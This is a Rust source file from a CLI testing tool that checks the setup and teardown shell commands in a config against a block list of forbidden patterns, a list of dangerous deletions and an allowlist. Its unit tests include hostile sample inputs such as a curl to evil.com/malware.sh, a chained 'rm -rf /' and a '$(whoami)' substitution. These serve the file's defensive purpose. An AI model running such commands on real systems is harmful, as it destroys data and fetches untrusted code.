cli_testing_specialist/config/
validator.rs1use crate::error::CliTestError;
7use crate::types::config::CliTestConfig;
8
9const FORBIDDEN_PATTERNS: &[&str] = &[
11 "|", ";", "&&", "||", "`", "$(", "$(", "sudo", "su", "curl", "wget", "nc", "mkfs", "dd", ">", ">>", ];
18
19const DANGEROUS_RM_PATTERNS: &[&str] = &["rm -rf /", "rm -rf /*", "rm -rf ~", "rm -rf $HOME"];
21
22const ALLOWED_COMMANDS: &[&str] = &[
24 "mkdir", "touch", "rm", "cp", "mv", "echo", "cat", "ls", "pwd", "cd", "chmod",
25 "chown", ];
27
28const MAX_COMMAND_LENGTH: usize = 200;
30
31pub fn validate_config(config: &CliTestConfig) -> Result<(), CliTestError> {
33 validate_version(&config.version)?;
35
36 if let Some(ref dir_traversal) = config.test_adjustments.directory_traversal {
38 validate_setup_commands(&dir_traversal.setup_commands)?;
39 validate_teardown_commands(&dir_traversal.teardown_commands)?;
40 }
41
42 Ok(())
43}
44
45fn validate_version(version: &str) -> Result<(), CliTestError> {
47 match version {
48 "1.0" => Ok(()),
49 v => Err(CliTestError::Config(format!(
50 "Unsupported config version '{}'. Supported versions: 1.0",
51 v
52 ))),
53 }
54}
55
56pub fn validate_setup_commands(commands: &[String]) -> Result<(), CliTestError> {
58 for cmd in commands {
59 validate_command(cmd, "setup")?;
60 }
61 Ok(())
62}
63
64pub fn validate_teardown_commands(commands: &[String]) -> Result<(), CliTestError> {
66 for cmd in commands {
67 validate_command(cmd, "teardown")?;
68 }
69 Ok(())
70}
71
72fn validate_command(cmd: &str, context: &str) -> Result<(), CliTestError> {
74 if cmd.len() > MAX_COMMAND_LENGTH {
76 return Err(CliTestError::Config(format!(
77 "{} command too long ({} chars, max {}): {}",
78 context,
79 cmd.len(),
80 MAX_COMMAND_LENGTH,
81 truncate(cmd, 50)
82 )));
83 }
84
85 for pattern in FORBIDDEN_PATTERNS {
87 if cmd.contains(pattern) {
88 return Err(CliTestError::Config(format!(
89 "{} command contains forbidden pattern '{}': {}",
90 context,
91 pattern,
92 truncate(cmd, 50)
93 )));
94 }
95 }
96
97 let trimmed = cmd.trim();
99 for pattern in DANGEROUS_RM_PATTERNS {
100 if trimmed == *pattern
102 || trimmed.starts_with(&format!("{} ", pattern))
103 || trimmed.starts_with(&format!("{}&&", pattern))
104 || trimmed.starts_with(&format!("{};", pattern))
105 {
106 return Err(CliTestError::Config(format!(
107 "{} command contains dangerous deletion pattern '{}': {}",
108 context,
109 pattern,
110 truncate(cmd, 50)
111 )));
112 }
113 }
114
115 let first_word = cmd.split_whitespace().next().unwrap_or("");
117 if !first_word.is_empty() && !ALLOWED_COMMANDS.contains(&first_word) {
118 return Err(CliTestError::Config(format!(
119 "{} command '{}' not in allowlist. Use --allow-unsafe-commands to override.\nAllowed commands: {}",
120 context,
121 first_word,
122 ALLOWED_COMMANDS.join(", ")
123 )));
124 }
125
126 Ok(())
127}
128
129fn truncate(s: &str, max_len: usize) -> String {
131 if s.len() <= max_len {
132 s.to_string()
133 } else {
134 format!("{}...", &s[..max_len])
135 }
136}
137
138#[cfg(test)]
139mod tests {
140 use super::*;
141
142 #[test]
143 fn test_validate_safe_commands() {
144 assert!(validate_command("mkdir -p /tmp/test", "setup").is_ok());
145 assert!(validate_command("touch /tmp/test/file.txt", "setup").is_ok());
146 assert!(validate_command("rm -rf /tmp/test", "teardown").is_ok());
147 }
148
149 #[test]
150 fn test_forbidden_pipe() {
151 let result = validate_command("ls | grep test", "setup");
152 assert!(result.is_err());
153 assert!(result
154 .unwrap_err()
155 .to_string()
156 .contains("forbidden pattern '|'"));
157 }
158
159 #[test]
160 fn test_forbidden_semicolon() {
161 let result = validate_command("mkdir /tmp/test; rm -rf /", "setup");
162 assert!(result.is_err());
163 assert!(result
164 .unwrap_err()
165 .to_string()
166 .contains("forbidden pattern ';'"));
167 }
168
169 #[test]
170 fn test_forbidden_command_substitution() {
171 let result = validate_command("mkdir $(whoami)", "setup");
172 assert!(result.is_err());
173 assert!(result
174 .unwrap_err()
175 .to_string()
176 .contains("forbidden pattern '$('"));
177 }
178
179 #[test]
180 fn test_forbidden_sudo() {
181 let result = validate_command("sudo mkdir /tmp/test", "setup");
182 assert!(result.is_err());
183 assert!(result
184 .unwrap_err()
185 .to_string()
186 .contains("forbidden pattern 'sudo'"));
187 }
188
189 #[test]
190 fn test_forbidden_curl() {
191 let result = validate_command("curl http://evil.com/malware.sh", "setup");
192 assert!(result.is_err());
193 assert!(result
194 .unwrap_err()
195 .to_string()
196 .contains("forbidden pattern 'curl'"));
197 }
198
199 #[test]
200 fn test_dangerous_rm() {
201 let result = validate_command("rm -rf /", "teardown");
203 assert!(result.is_err());
204 assert!(result
205 .unwrap_err()
206 .to_string()
207 .contains("dangerous deletion pattern"));
208
209 let result = validate_command("rm -rf /*", "teardown");
210 assert!(result.is_err());
211 assert!(result
212 .unwrap_err()
213 .to_string()
214 .contains("dangerous deletion pattern"));
215
216 let result = validate_command("rm -rf ~", "teardown");
217 assert!(result.is_err());
218 assert!(result
219 .unwrap_err()
220 .to_string()
221 .contains("dangerous deletion pattern"));
222
223 assert!(validate_command("rm -rf /tmp/test", "teardown").is_ok());
225 assert!(validate_command("rm -rf /var/tmp/myapp", "teardown").is_ok());
226 }
227
228 #[test]
229 fn test_command_too_long() {
230 let long_cmd = "mkdir ".to_string() + &"a".repeat(200);
231 let result = validate_command(&long_cmd, "setup");
232 assert!(result.is_err());
233 assert!(result.unwrap_err().to_string().contains("too long"));
234 }
235
236 #[test]
237 fn test_not_in_allowlist() {
238 let result = validate_command("python3 script.py", "setup");
239 assert!(result.is_err());
240 assert!(result.unwrap_err().to_string().contains("not in allowlist"));
241 }
242
243 #[test]
244 fn test_empty_command() {
245 let result = validate_command("", "setup");
246 assert!(result.is_ok()); }
248
249 #[test]
250 fn test_validate_version() {
251 assert!(validate_version("1.0").is_ok());
252 assert!(validate_version("2.0").is_err());
253 assert!(validate_version("invalid").is_err());
254 }
255
256 #[test]
257 fn test_validate_setup_commands() {
258 let commands = vec![
259 "mkdir -p /tmp/test".to_string(),
260 "touch /tmp/test/file.txt".to_string(),
261 ];
262 assert!(validate_setup_commands(&commands).is_ok());
263
264 let bad_commands = vec![
265 "mkdir /tmp/test".to_string(),
266 "curl http://evil.com".to_string(),
267 ];
268 assert!(validate_setup_commands(&bad_commands).is_err());
269 }
270
271 #[test]
272 fn test_truncate() {
273 assert_eq!(truncate("short", 10), "short");
274 assert_eq!(truncate("this is a very long string", 10), "this is a ...");
275 }
276}